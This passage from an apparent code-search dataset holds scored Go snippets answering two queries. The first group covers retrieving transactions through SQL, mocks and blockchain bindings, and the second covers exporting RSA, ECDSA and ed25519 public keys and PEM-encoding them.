ret0, ret1\n}", "title": "" }, { "docid": "8c2841dcfcf23b156f4e684826b3083f", "score": "0.529014", "text": "func (p TransactionRepo) HandleGETTransaction(id, status string) (*Transaction, error) {\n\tresults := p.db.QueryRow(\"SELECT * FROM transaksi_penjualan WHERE id=? AND status=?\", id, status)\n\n\tvar d Transaction\n\terr := results.Scan(&d.ID, &d.Created, &d.Updated, &d.Total, &d.Status)\n\tif err != nil {\n\t\treturn nil, errors.New(\"Transaction ID Not Found\")\n\t}\n\n\tresultProduct, _ := p.db.Query(`SELECT nama,kategori,harga,kuantiti,total FROM transaksi_produk_idx WHERE trans_id=?`, d.ID)\n\tvar soldItem SoldItems\n\n\tfor resultProduct.Next() {\n\t\terr := resultProduct.Scan(&soldItem.ProductName, &soldItem.Category, &soldItem.Harga, &soldItem.Quantity, &soldItem.Total)\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t\treturn nil, err\n\t\t}\n\t\td.SoldItems = append(d.SoldItems, soldItem)\n\t}\n\n\treturn &d, nil\n}", "title": "" }, { "docid": "7fde4bfb91dea2bbf6c48221f13aa518", "score": "0.52877516", "text": "func (_m *Plugin) GetTransactionById(ctx context.Context, ns string, id *uuid.UUID) (*fftypes.Transaction, error) {\n\tret := _m.Called(ctx, ns, id)\n\n\tvar r0 *fftypes.Transaction\n\tif rf, ok := ret.Get(0).(func(context.Context, string, *uuid.UUID) *fftypes.Transaction); ok {\n\t\tr0 = rf(ctx, ns, id)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(*fftypes.Transaction)\n\t\t}\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(context.Context, string, *uuid.UUID) error); ok {\n\t\tr1 = rf(ctx, ns, id)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "e4288760942587c5fe924eb673f59b7d", "score": "0.52795804", "text": "func (_m *Repository) List(ctx context.Context, startDate, endDate, search, status string, limit, offset *int, merchantId string,isTransportation bool,isExperience bool,isSchedule bool,tripType,paymentType,activityType string,confirmType string,class string,departureTimeStart string,departureTimeEnd string,arrivalTimeStart string,arrivalTimeEnd string,transactionId string) ([]*models.TransactionOut, error) {\n\tret := _m.Called(ctx, startDate, endDate, search, status , limit, offset , merchantId ,isTransportation,isExperience,isSchedule,tripType,paymentType,activityType ,confirmType ,class ,departureTimeStart,departureTimeEnd ,arrivalTimeStart ,arrivalTimeEnd,transactionId)\n\n\tvar r0 []*models.TransactionOut\n\tif rf, ok := ret.Get(0).(func(context.Context, string, string, string, string, *int,*int, string,bool,bool,bool,string,string,string, string,string,string,string,string,string,string) []*models.TransactionOut); ok {\n\t\tr0 = rf(ctx, startDate, endDate, search, status , limit, offset , merchantId ,isTransportation,isExperience,isSchedule,tripType,paymentType,activityType ,confirmType ,class ,departureTimeStart,departureTimeEnd ,arrivalTimeStart ,arrivalTimeEnd,transactionId)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).([]*models.TransactionOut)\n\t\t}\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(context.Context, string, string, string, string, *int,*int, string,bool,bool,bool,string,string,string, string,string,string,string,string,string,string) error); ok {\n\t\tr1 = rf(ctx, startDate, endDate, search, status , limit, offset , merchantId ,isTransportation,isExperience,isSchedule,tripType,paymentType,activityType ,confirmType ,class ,departureTimeStart,departureTimeEnd ,arrivalTimeStart ,arrivalTimeEnd,transactionId)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "b31f46640599e9ba61662efe875719f6", "score": "0.5274066", "text": "func GetTransaction(w http.ResponseWriter, r *http.Request) {\n\tparams := mux.Vars(r)\n\tfor _, item := range transactions {\n\t\tif item.ID == params[\"id\"] {\n\t\t\tjson.NewEncoder(w).Encode(item)\n\t\t\treturn\n\t\t}\n\t}\n\tjson.NewEncoder(w).Encode(&Transaction{})\n}", "title": "" }, { "docid": "3cd36f5f4fbdc94b498ab94022436d50", "score": "0.5273319", "text": "func (_m *TendermintInfoAPI) Tx(ctx context.Context, hash string, localVarOptionals *openapi.TxOpts) (openapi.TxResponse, *http.Response, error) {\n\tret := _m.Called(ctx, hash, localVarOptionals)\n\n\tvar r0 openapi.TxResponse\n\tif rf, ok := ret.Get(0).(func(context.Context, string, *openapi.TxOpts) openapi.TxResponse); ok {\n\t\tr0 = rf(ctx, hash, localVarOptionals)\n\t} else {\n\t\tr0 = ret.Get(0).(openapi.TxResponse)\n\t}\n\n\tvar r1 *http.Response\n\tif rf, ok := ret.Get(1).(func(context.Context, string, *openapi.TxOpts) *http.Response); ok {\n\t\tr1 = rf(ctx, hash, localVarOptionals)\n\t} else {\n\t\tif ret.Get(1) != nil {\n\t\t\tr1 = ret.Get(1).(*http.Response)\n\t\t}\n\t}\n\n\tvar r2 error\n\tif rf, ok := ret.Get(2).(func(context.Context, string, *openapi.TxOpts) error); ok {\n\t\tr2 = rf(ctx, hash, localVarOptionals)\n\t} else {\n\t\tr2 = ret.Error(2)\n\t}\n\n\treturn r0, r1, r2\n}", "title": "" }, { "docid": "4ab316310eaf6083cd73e800fea54898", "score": "0.5271782", "text": "func (_Archerdao *ArcherdaoTransactorRaw) Transact(opts *bind.TransactOpts, method string, params ...interface{}) (*types.Transaction, error) {\n\treturn _Archerdao.Contract.contract.Transact(opts, method, params...)\n}", "title": "" }, { "docid": "1243b3ed73135a9e0867c2b44376893c", "score": "0.5270677", "text": "func (_TellorGettersLibrary *TellorGettersLibraryTransactorRaw) Transact(opts *bind.TransactOpts, method string, params ...interface{}) (*types.Transaction, error) {\n\treturn _TellorGettersLibrary.Contract.contract.Transact(opts, method, params...)\n}", "title": "" }, { "docid": "da64466ba0d240c197d5c4391c88f70c", "score": "0.5270618", "text": "func createTransaction(getTxResult *elastic.GetResult, getTxTraceResult *elastic.GetResult) (*GetTransactionResult, *ErrorWithCode) {\n\t//prepare data from transaction_traces index\n\tvar txTrace TransactionTrace\n\terr := json.Unmarshal(*getTxTraceResult.Source, &txTrace)\n\tif err != nil {\n\t\terror := new(ErrorWithCode)\n\t\terror.Error = err\n\t\terror.Code = 500\n\t\treturn nil, error\n\t}\n\tvar status string\n\terr = json.Unmarshal(txTrace.Receipt[\"status\"], &status)\n\tif err != nil {\n\t\terror := new(ErrorWithCode)\n\t\terror.Error = err\n\t\terror.Code = 500\n\t\treturn nil, error\n\t}\n\tif status == \"hard_fail\" {\n\t\terror := new(ErrorWithCode)\n\t\terror.Error = errors.New(\"Transaction not found\")\n\t\terror.Code = 404\n\t\treturn nil, error\n\t}\n\tresult := new(GetTransactionResult)\n\tresult.Trx = make(map[string]json.RawMessage)\n\tresult.BlockTime = txTrace.BlockTime\n\tresult.BlockNum = txTrace.BlockNum\n\t//recursively replace json abi with bytes\n\tconvertAbiToBytes(txTrace.ActionTraces)\n\tresult.Traces, err = json.Marshal(txTrace.ActionTraces)\n\tif err != nil {\n\t\terror := new(ErrorWithCode)\n\t\terror.Error = err\n\t\terror.Code = 500\n\t\treturn nil, error\n\t}\n\tresult.Trx[\"receipt\"], err = json.Marshal(txTrace.Receipt)\n\tif err != nil {\n\t\terror := new(ErrorWithCode)\n\t\terror.Error = err\n\t\terror.Code = 500\n\t\treturn nil, error\n\t}\n\t\n\t//prepare data from transactions index\n\tif getTxResult != nil && getTxResult.Found {\n\t\tvar transaction Transaction\n\t\terr = json.Unmarshal(*getTxResult.Source, &transaction)\n\t\tif err == nil {\n\t\t\tvar actions []struct {\n\t\t\t\tAccount string `json:\"account\"`\n\t\t\t\tName string `json:\"name\"`\n\t\t\t\tAuthorization json.RawMessage `json:\"authorization\"`\n\t\t\t\tData interface{} `json:\"data\"`\n\t\t\t\tHexData string `json:\"hex_data,omitempty\"`\n\t\t\t}\n\t\t\terr = json.Unmarshal(transaction.Actions, &actions)\n\t\t\tif err == nil {\n\t\t\t\tfor i, _ := range actions {\n\t\t\t\t\t//actions contain abi in json format so we need to extract abi from hex_data field\n\t\t\t\t\tif actions[i].Account == \"eosio\" && actions[i].Name == \"setabi\" &&\n\t\t\t\t\t\tlen(actions[i].HexData) >= 20 { //in hex_data field encoded abi starts from 20 symbol\n\t\t\t\t\t\tdata := actions[i].HexData[20:]\n\t\t\t\t\t\tif m, ok := actions[i].Data.(map[string]interface{}); ok {\n\t\t\t\t\t\t\tm[\"abi\"] = data\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbytes, err := json.Marshal(actions)\n\t\t\t\tif err == nil {\n\t\t\t\t\ttransaction.Actions = bytes\n\t\t\t\t}\n\t\t\t}\n\t\t\ttrx := make(map[string]json.RawMessage)\n\t\t\ttrx[\"expiration\"] = transaction.Expiration\n\t\t\ttrx[\"ref_block_num\"] = transaction.RefBlockNum\n\t\t\ttrx[\"ref_block_prefix\"] = transaction.RefBlockPrefix\n\t\t\ttrx[\"max_net_usage_words\"] = transaction.MaxNetUsageWords\n\t\t\ttrx[\"max_cpu_usage_ms\"] = transaction.MaxCpuUsageMs\n\t\t\ttrx[\"delay_sec\"] = transaction.DelaySec\n\t\t\ttrx[\"context_free_actions\"] = transaction.ContextFreeActions\n\t\t\ttrx[\"actions\"] = transaction.Actions\n\t\t\ttrx[\"transaction_extensions\"] = transaction.TransactionExtensions\n\t\t\ttrx[\"signatures\"] = transaction.Signatures\n\t\t\ttrx[\"context_free_data\"] = transaction.ContextFreeData\n\t\t\tbyteTrx, err := json.Marshal(trx)\n\t\t\tif err != nil {\n\t\t\t\terror := new(ErrorWithCode)\n\t\t\t\terror.Error = err\n\t\t\t\terror.Code = 500\n\t\t\t\treturn nil, error\n\t\t\t}\n\t\t\tresult.Trx[\"trx\"] = byteTrx\n\t\t}\n\t}\n\treturn result, nil\n}", "title": "" } ]
fd5080c32202a5f5845d8664da39aee1
Public exports a public key to implement crypto.Signer
[ { "docid": "0aad83afb98fbd59722b3561aa626e87", "score": "0.6467019", "text": "func (k winKey) Public() crypto.PublicKey {\n\treturn k.pub\n}", "title": "" } ]
[ { "docid": "bb018c220ca6f163e3d7f811c38b8043", "score": "0.765435", "text": "func (p PrivateKey) Public() crypto.PublicKey { return p.PublicKey() }", "title": "" }, { "docid": "0dd28524403645bc634902c5244330f2", "score": "0.7651171", "text": "func (s X25519Signer) Public() *JSONWebKey {\n\treturn &JSONWebKey{\n\t\tKey: x25519.PrivateKey(s).Public(),\n\t}\n}", "title": "" }, { "docid": "a3d61d08a88b647516a3d7c3570341c4", "score": "0.7617109", "text": "func PrivateKeyPublic(priv *ecdsa.PrivateKey,) crypto.PublicKey", "title": "" }, { "docid": "b82d4cc954214a250f52f75cabbb7258", "score": "0.75850123", "text": "func (key signingKey) Public() crypto.PublicKey {\n\treturn key.publicKey\n}", "title": "" }, { "docid": "5df22f58050e5cd857d4a8de2e453ad0", "score": "0.75539756", "text": "func (signer PKCS11PrivateKey) Public() crypto.PublicKey {\n\treturn signer.PubKey\n}", "title": "" }, { "docid": "d31deea63a6321f4661ba893e58dc6a5", "score": "0.7400349", "text": "func (kp *KeyPair) Public() crypto.PublicKey {\n\treturn kp.Signer.Public()\n}", "title": "" }, { "docid": "f9e8bfbafc6a43bf8a425b581ce4bfd0", "score": "0.7343734", "text": "func (sk *PrivateKey) Public() *PublicKey {\n\treturn &PublicKey{\n\t\tpk: sk.suite.G2().Point().Mul(sk.sk, nil),\n\t\tsuite: sk.suite,\n\t}\n}", "title": "" }, { "docid": "34bb8d987484cc8c5a6ef9e4d37aa4c2", "score": "0.7322606", "text": "func (priv PrivateKey) Public() crypto.PublicKey {\r\n\tpublicKey := make([]byte, PublicKeySize)\r\n\tcopy(publicKey, priv[32:])\r\n\treturn PublicKey(publicKey)\r\n}", "title": "" }, { "docid": "d014c46dca1a0304752f8e14566d1065", "score": "0.7281202", "text": "func (privKey *PrivateKey) Public() signature.PublicKey {\n\tvar pub PublicKey\n\tpub.A.Set(&privKey.PublicKey.A)\n\treturn &pub\n}", "title": "" }, { "docid": "cdb7827111ad9ec04aa6c5da8711d4dd", "score": "0.7275968", "text": "func (priv PrivateKey) Public() crypto.PublicKey {\n\tpub := make([]byte, PublicKeySize)\n\tcopy(pub, priv[SeedSize:])\n\treturn PublicKey(pub)\n}", "title": "" }, { "docid": "938207d8472d96ef99075c3bc91e5b30", "score": "0.7274332", "text": "func PublicSign(key *rsa.PublicKey, data []byte) ([]byte, error) {\n\treturn PublicEncrypt(key, hash(data))\n}", "title": "" }, { "docid": "81bfef899756a65da6a0d3cf2b2c58ac", "score": "0.72542423", "text": "func (priv *PKCS11PrivateKeyDSA) Public() crypto.PublicKey {\n\treturn priv.key.PubKey\n}", "title": "" }, { "docid": "46cf8088e677a2b072ccf9574628f704", "score": "0.72409844", "text": "func (priv PrivateKey) Public() crypto.PublicKey {\n\tpublicKey := make([]byte, PublicKeySize)\n\tcopy(publicKey, priv[32:])\n\treturn PublicKey(publicKey)\n}", "title": "" }, { "docid": "804393e2160c9a6814d37a57f21a385b", "score": "0.7158836", "text": "func (s *SigningIdentity) Public() crypto.PublicKey {\n\treturn s.Certificate.PublicKey\n}", "title": "" }, { "docid": "69a17af7c49cb0c5a7269a3fd2cfb468", "score": "0.71503913", "text": "func (s *HashiCorpVaultSigner) Public() crypto.PublicKey {\n\treturn s.publicKey\n}", "title": "" }, { "docid": "26dbb98c46b7823e205405d6cf385e5f", "score": "0.7147271", "text": "func (priv *EP11PrivateKey) Public() crypto.PublicKey {\n\treturn priv.pubKey\n}", "title": "" }, { "docid": "97edddedae87a315c7b925dfcf86e4a1", "score": "0.709626", "text": "func (priv *PrivateKey) Public() crypto.PublicKey {\n\treturn &priv.PublicKey\n}", "title": "" }, { "docid": "97edddedae87a315c7b925dfcf86e4a1", "score": "0.709626", "text": "func (priv *PrivateKey) Public() crypto.PublicKey {\n\treturn &priv.PublicKey\n}", "title": "" }, { "docid": "28524fc8bca7114c0c1fcd6f5bc84a4e", "score": "0.7090646", "text": "func public(X, Y *big.Int, compressed bool) []byte {\n\tvar pubkey_bytes []byte\n\tif compressed {\n\t\tprefix := make([]byte, 1)\n\t\tmod := Y.Mod(Y, big.NewInt(2)).Cmp(big.NewInt(0))\n\t\tif mod == 0 {\n\t\t\tprefix[0] = 0x02\n\t\t} else {\n\t\t\tprefix[0] = 0x03\n\t\t}\n\t\tpubkey_bytes = append(prefix, X.Bytes()...)\n\t\treturn pubkey_bytes\n\t}\n\n\t/* Convert the public key to a byte sequence */\n\tpubkey_bytes = append(X.Bytes(), Y.Bytes()...)\n\n\t/* 1. Prepend 0x04 */\n\treturn append([]byte{0x04}, pubkey_bytes...)\n\n}", "title": "" }, { "docid": "b9e108d6904bcb314648aa970a00fdbb", "score": "0.7045986", "text": "func (s *AzureKeyVaultSigner) Public() crypto.PublicKey {\n\treturn s.publicKey\n}", "title": "" }, { "docid": "4bef61352c2b60553bacc9e6c547b70a", "score": "0.7010446", "text": "func (lib *PKCS11Lib) exportDSAPublicKey(session pkcs11.SessionHandle, pubHandle pkcs11.ObjectHandle) (crypto.PublicKey, error) {\n\ttemplate := []*pkcs11.Attribute{\n\t\tpkcs11.NewAttribute(pkcs11.CKA_PRIME, nil),\n\t\tpkcs11.NewAttribute(pkcs11.CKA_SUBPRIME, nil),\n\t\tpkcs11.NewAttribute(pkcs11.CKA_BASE, nil),\n\t\tpkcs11.NewAttribute(pkcs11.CKA_VALUE, nil),\n\t}\n\texported, err := lib.Ctx.GetAttributeValue(session, pubHandle, template)\n\tif err != nil {\n\t\treturn nil, errors.WithStack(err)\n\t}\n\tvar p, q, g, x big.Int\n\tp.SetBytes(exported[0].Value)\n\tq.SetBytes(exported[1].Value)\n\tg.SetBytes(exported[2].Value)\n\tx.SetBytes(exported[3].Value)\n\tresult := dsa.PublicKey{\n\t\tParameters: dsa.Parameters{P: &p, Q: &q, G: &g},\n\t\tY: &x,\n\t}\n\treturn &result, nil\n}", "title": "" }, { "docid": "a72755c5264c12da001b3d3d7708ba71", "score": "0.7008218", "text": "func (priv *PrivateKey) Public() crypto.PublicKey {\n\treturn priv.publicKey\n}", "title": "" }, { "docid": "077c53b956b0c0e784f1a67132749b59", "score": "0.6991998", "text": "func newPublicKey(k string) (*PublicKey){\n\tQ, _ := new(big.Int).SetString(k, 16)\n\tK := secp256k1.ScalarBaseMult(Q)\n\tpublicKey := PublicKey{\n\t\tPoint: K,\n\t\tH: \"04\"+K.X.Text(16)+K.Y.Text(16),\n\t}\n\treturn &publicKey\n}", "title": "" }, { "docid": "3eb5243de0174f695baed697a9a2174f", "score": "0.69734323", "text": "func (s Store) Public() crypto.PublicKey {\n\treturn s.publicKey\n}", "title": "" }, { "docid": "41ad21008a8b36026ad668bfa9724306", "score": "0.69235915", "text": "func (priv *PrivateKey) Public() *PublicKey {\n\treturn &priv.PublicKey\n}", "title": "" }, { "docid": "1982c3bfc78e4319d90bb92436a429d7", "score": "0.691804", "text": "func (kp KeyPair) ExportPublicKey() string {\n\treturn hex.EncodeToString(kp.PublicKey[:])\n}", "title": "" }, { "docid": "33a7890ba175b636e678cdc5206b799f", "score": "0.6915511", "text": "func (g *GoogleKMS) Public() crypto.PublicKey {\n\treturn g.publicKey\n}", "title": "" }, { "docid": "9d4960b551f9aa59f990a6e712adcba9", "score": "0.6889099", "text": "func SavePublicKey(logger log.Logger, key *rsa.PrivateKey, filename string) {\n\tlogger.Info(\"Saving Public Key\")\n\tpemfile, _ := os.Create(filename)\n\tbytes, _ := x509.MarshalPKIXPublicKey(key.PublicKey)\n\n\tpemkey := &pem.Block{\n\t\tType: \"RSA PUBLIC KEY\",\n\t\tBytes: bytes}\n\tpem.Encode(pemfile, pemkey)\n\tpemfile.Close()\n}", "title": "" }, { "docid": "5c912a8d127de68caca8f0d4ca9ea050", "score": "0.6864517", "text": "func (c *RSA) ExportPublicKey(filename string) error {\n\tpemBlock := &pem.Block{\n\t\tType: \"RSA PUBLIC KEY\",\n\t\tBytes: x509.MarshalPKCS1PublicKey(c.Pub),\n\t}\n\n\tdata := pem.EncodeToMemory(pemBlock)\n\terr := ioutil.WriteFile(filename, data, os.ModePerm)\n\n\treturn err\n}", "title": "" }, { "docid": "f0527335230d867a6587b85332491d3b", "score": "0.68576306", "text": "func (ed *Ed25519KeyPair) PublicKey() (PublicKey, error) {\n\treturn ed.pk.MarshalBinary()\n}", "title": "" }, { "docid": "8cad42bf09137e2b758389b360d79d61", "score": "0.6856496", "text": "func (kp *secretkp) PublicKey() (string, error) {\n\tpublic, raw, err := base32DecodeSecret(kp.seed)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tpub, _, err := ed25519.GenerateKey(bytes.NewReader(raw))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tpk, err := base32Encode(public, pub)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(pk), nil\n}", "title": "" }, { "docid": "630fa027491528ad46db81e002daa7f6", "score": "0.6823783", "text": "func (hs *hardwareSigner) Public() crypto.PublicKey {\n\tpublicKey, err := x509.ParsePKIXPublicKey(hs.HardwarePrivateKey.Public())\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\treturn publicKey\n}", "title": "" }, { "docid": "72d050f899e6c42f86388ddb20420f65", "score": "0.6744609", "text": "func (key *PrivateKey) Public() *PublicKey {\n\treturn (*PublicKey)(&key.PublicKey)\n}", "title": "" }, { "docid": "a5301aa3f3b422c03107dedf78505aeb", "score": "0.6728611", "text": "func (priv *PrivateKey) PublicKey() *PublicKey {\n\tvar e error\n\tpub := new(PublicKey )\n\tpub.Group = priv.Group\n\tif len(priv.Group)<2 { return nil }\n\tif priv.Group[0]==group_ModP {\n\t\tpub.X,e = modpExp(priv.Group[1],priv.Secret)\n\t\tif e!=nil { return nil }\n\t\tpub.Y = new(big.Int).SetUint64(0)\n\t\tpub.Z = []byte{}\n\t\treturn pub\n\t}\n\t\n\tif curve := getCurve(priv.Group); curve!=nil {\n\t\tpub.X,pub.Y = curve.ScalarBaseMult(priv.Secret.Bytes())\n\t\tpub.Z = []byte{}\n\t\treturn pub\n\t}\n\t\n\treturn nil\n}", "title": "" }, { "docid": "eff88199e213da1afdab5e2eb054b42f", "score": "0.6724525", "text": "func PublicKey(private, p *big.Int, g int64) *big.Int {\n\tpublic := &big.Int{}\n\treturn public.Exp(big.NewInt(g), private, p)\n}", "title": "" }, { "docid": "235b4e33e9cad4d3cd9eddfa4f9dc63b", "score": "0.67095506", "text": "func generatePublicKey(privKey, pubKey string) error {\n\treturn openssl(\"rsa\", \"-in\", privKey, \"-out\", pubKey, \"-pubout\")\n}", "title": "" }, { "docid": "b01c83cbf3fdf21c61809e5809adcb66", "score": "0.6708939", "text": "func (private *Private) Public() *Public {\n\tif private == nil {\n\t\treturn nil\n\t}\n\treturn &Public{\n\t\tkey: &ecdsa.PublicKey{\n\t\t\tX: private.key.X,\n\t\t\tY: private.key.Y,\n\t\t\tCurve: private.key.Curve,\n\t\t},\n\t}\n}", "title": "" }, { "docid": "635d455898939021ea3086d3628bfb2d", "score": "0.6701686", "text": "func (k *PrivateKey) Public() *PublicKey {\n\treturn k.Scalar().Public()\n}", "title": "" }, { "docid": "b1173f4c8ce2caba260d95d6f779bd4b", "score": "0.6653384", "text": "func (ks *KeyStore) PublicKey(kid string) (string, error) {\n\tprivateKey, found := ks.store[kid]\n\tif !found {\n\t\treturn \"\", errors.New(\"kid lookup failed\")\n\t}\n\n\tasn1Bytes, err := x509.MarshalPKIXPublicKey(&privateKey.PK.PublicKey)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"marshaling public key: %w\", err)\n\t}\n\n\tblock := pem.Block{\n\t\tType: \"PUBLIC KEY\",\n\t\tBytes: asn1Bytes,\n\t}\n\n\tvar b bytes.Buffer\n\tif err := pem.Encode(&b, &block); err != nil {\n\t\treturn \"\", fmt.Errorf(\"encoding to private file: %w\", err)\n\t}\n\n\treturn b.String(), nil\n}", "title": "" }, { "docid": "ef0150b89bdf0d41694e59eccc508dbd", "score": "0.6645555", "text": "func KeyPublicRSA(ss *rsa.PublicKey) validationKey { return publicKey{ss} }", "title": "" }, { "docid": "95073cff97fbeff7be2524dfbdcd6991", "score": "0.6641092", "text": "func ExportPublicKey(pub *rsa.PublicKey, filename string) (err error) {\n\tcert, err := x509.MarshalPKIXPublicKey(pub)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = ioutil.WriteFile(filename, cert, 0644)\n\treturn\n}", "title": "" }, { "docid": "4f787a92ca6a4ca24fa51dfcc1bb4219", "score": "0.6626817", "text": "func (s Signature) PublicKey(hash []byte) (out PublicKey, err error) {\n\trecoveredKey, _, err := btcec.RecoverCompact(btcec.S256(), s.Content, hash)\n\tif err != nil {\n\t\treturn out, err\n\t}\n\n\treturn PublicKey{\n\t\tContent: recoveredKey.SerializeCompressed(),\n\t}, nil\n}", "title": "" }, { "docid": "8b2c3092916f09df302046e8ddeccc9d", "score": "0.6623273", "text": "func PublicKey(priv, p *big.Int, g int64) *big.Int {\n\tgˈ := big.NewInt(g)\n\treturn new(big.Int).Exp(gˈ, priv, p)\n}", "title": "" }, { "docid": "af3a381854c5b549a7db1f0e1dcd1609", "score": "0.65876555", "text": "func (c *Client) PublicKey() (string, error) {\n\treturn c.doReqString(\"api/webserver/publickey\", nil, \"encpubkeyn\")\n}", "title": "" }, { "docid": "1afaa72acf0f0bb8c284d9f4202f3957", "score": "0.65714264", "text": "func (k *PrivateKey) PublicKey() *PublicKey {\n\tpointG2 := g2.One()\n\tg2.MulScalar(pointG2, pointG2, frToRepr(k.FR))\n\n\treturn &PublicKey{pointG2}\n}", "title": "" }, { "docid": "7813eadec1fe0140d2660d54cf7754b7", "score": "0.6565618", "text": "func KeyPublicECDSA(pk *ecdsa.PublicKey) validationKey { return publicKey{pk} }", "title": "" }, { "docid": "64837ded9248974034d79963acf7e819", "score": "0.6560632", "text": "func savePublicPEMKey(fileName string, pubkey rsa.PublicKey) {\n\tasn1Bytes, err := asn1.Marshal(pubkey)\n\tcheckError(err)\n\n\tvar pemkey = &pem.Block{\n\t\tType: \"PUBLIC KEY\",\n\t\tBytes: asn1Bytes,\n\t}\n\n\tpemfile, err := os.Create(fileName)\n\tcheckError(err)\n\tdefer pemfile.Close()\n\n\terr = pem.Encode(pemfile, pemkey)\n\tcheckError(err)\n}", "title": "" }, { "docid": "9cfe9bed9c5f438b637ae857d035ce36", "score": "0.6554391", "text": "func (j *JWK) PublicKey() (*rsa.PublicKey, error) {\n\n\tmodulus, err := base64.RawURLEncoding.DecodeString(j.N)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tn := big.NewInt(0)\n\tn.SetBytes(modulus)\n\n\texponent, err := base64.RawURLEncoding.DecodeString(j.E)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar b []byte = exponent\n\tif len(exponent) < 8 {\n\t\tb = make([]byte, 8-len(exponent), 8)\n\t\tb = append(b, exponent...)\n\t}\n\treader := bytes.NewReader(b)\n\tvar e uint64\n\terr = binary.Read(reader, binary.BigEndian, &e)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &rsa.PublicKey{N: n, E: int(e)}, nil\n}", "title": "" }, { "docid": "e118f9fd12f862be5a61f5f4aab54e60", "score": "0.65243274", "text": "func ExportPublicPGP(e *openpgp.Entity) (string, error) {\n\tvar err error\n\tw := bytes.NewBuffer(nil)\n\twr, err := armor.Encode(w, openpgp.PublicKeyType, nil)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"Error encoding Armor: %s\", err)\n\t}\n\terr = e.Serialize(wr)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"Error serializing PubKey: %s\", err)\n\t}\n\terr = wr.Close()\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"Error closing writer: %s\", err)\n\t}\n\treturn w.String(), nil\n}", "title": "" }, { "docid": "c82f98c0c5122c308da65db99e34183c", "score": "0.6513506", "text": "func (s *Ed25519Signer) PublicKey() interface{} {\n\treturn s.PubKey\n}", "title": "" }, { "docid": "ef69b0f9157d692938df1577515ead05", "score": "0.6500731", "text": "func ExportPublicPEM(pub *rsa.PublicKey, filename string) (err error) {\n\tcert, err := x509.MarshalPKIXPublicKey(pub)\n\tif err != nil {\n\t\treturn\n\t}\n\tblk := new(pem.Block)\n\tblk.Type = \"RSA PUBLIC KEY\"\n\tblk.Bytes = cert\n\tout, err := os.Create(filename)\n\tif err == nil {\n\t\terr = pem.Encode(out, blk)\n\t}\n\treturn\n}", "title": "" }, { "docid": "49f4f583ee9d64f0c2f2e25432e9627c", "score": "0.64993525", "text": "func ExportPublicKeyAsPemStr2(pubkey *rsa.PublicKey) string {\n pubkey_pem := string(pem.EncodeToMemory(&pem.Block{Type: \"RSA PUBLIC KEY\",Bytes: x509.MarshalPKCS1PublicKey(pubkey)}))\n return pubkey_pem\n}", "title": "" }, { "docid": "29e6c0acce55a91a5eac54e0168199a2", "score": "0.6499305", "text": "func ExportPublicKeyAsPemStr(key Key) string {\n pubkey := &key.PublicKey\n pubkey_pem := string(pem.EncodeToMemory(&pem.Block{Type: \"RSA PUBLIC KEY\",Bytes: x509.MarshalPKCS1PublicKey(pubkey)}))\n return pubkey_pem\n}", "title": "" }, { "docid": "f468598241bf3077cb2bf32db0d003e9", "score": "0.64893675", "text": "func (opt *Options) Public() crypto.PublicKey {\n\tif opt.keySet == nil {\n\t\treturn nil\n\t}\n\treturn opt.keySet.Public()\n}", "title": "" }, { "docid": "02f82a15d63584b84f44377065e5f478", "score": "0.64889884", "text": "func (privKey *PrivKey) PubKey() cryptotypes.PubKey {\n\tpriv := privKey.ToSM2PrivateKey()\n\tcompPubkey := sm2.Compress(&priv.PublicKey)\n\n\tpubkeyBytes := make([]byte, PubKeySize)\n\tcopy(pubkeyBytes, compPubkey[:])\n\treturn &PubKey{Key: pubkeyBytes}\n}", "title": "" }, { "docid": "8d309b0221aae726e1bc811a4eacf3a3", "score": "0.6482507", "text": "func MakePublic(pub crypto.PublicKey) (tpm2.Public, error) {\n\tecKey, ok := pub.(*ecdsa.PublicKey)\n\tif !ok {\n\t\treturn tpm2.Public{}, fmt.Errorf(\"public key in CSR is %T, only ECDSA keys supported\", pub)\n\t}\n\n\tcurveName := ecKey.Curve.Params().Name\n\tcurve, ok := toTPMCurves[curveName]\n\tif !ok {\n\t\treturn tpm2.Public{}, fmt.Errorf(\"public key EC curve %q not supported\", curveName)\n\t}\n\treturn tpm2.Public{\n\t\tType: tpm2.AlgECC,\n\t\tNameAlg: tpm2.AlgSHA256,\n\t\t// Allow access for TPM user with password auth. FlagSign is required\n\t\t// to load the key (either Sign or Decrypt).\n\t\tAttributes: tpm2.FlagSign | tpm2.FlagUserWithAuth,\n\t\tECCParameters: &tpm2.ECCParams{\n\t\t\tCurveID: curve,\n\t\t\tSign: &tpm2.SigScheme{\n\t\t\t\tAlg: tpm2.AlgECDSA,\n\t\t\t\tHash: tpm2.AlgSHA256,\n\t\t\t},\n\t\t\tPoint: tpm2.ECPoint{\n\t\t\t\tXRaw: ecKey.X.Bytes(),\n\t\t\t\tYRaw: ecKey.Y.Bytes(),\n\t\t\t},\n\t\t},\n\t}, nil\n}", "title": "" }, { "docid": "0846fd2831e2674deae61c5b7f1f4225", "score": "0.6472566", "text": "func (p PrivateKey) PublicKey() (o *PublicKey, err error) {\n\t// Assert public key\n\tvar pub *rsa.PublicKey\n\tvar ok bool\n\tif pub, ok = p.key.Public().(*rsa.PublicKey); !ok {\n\t\terr = errors.New(\"Public key is not a 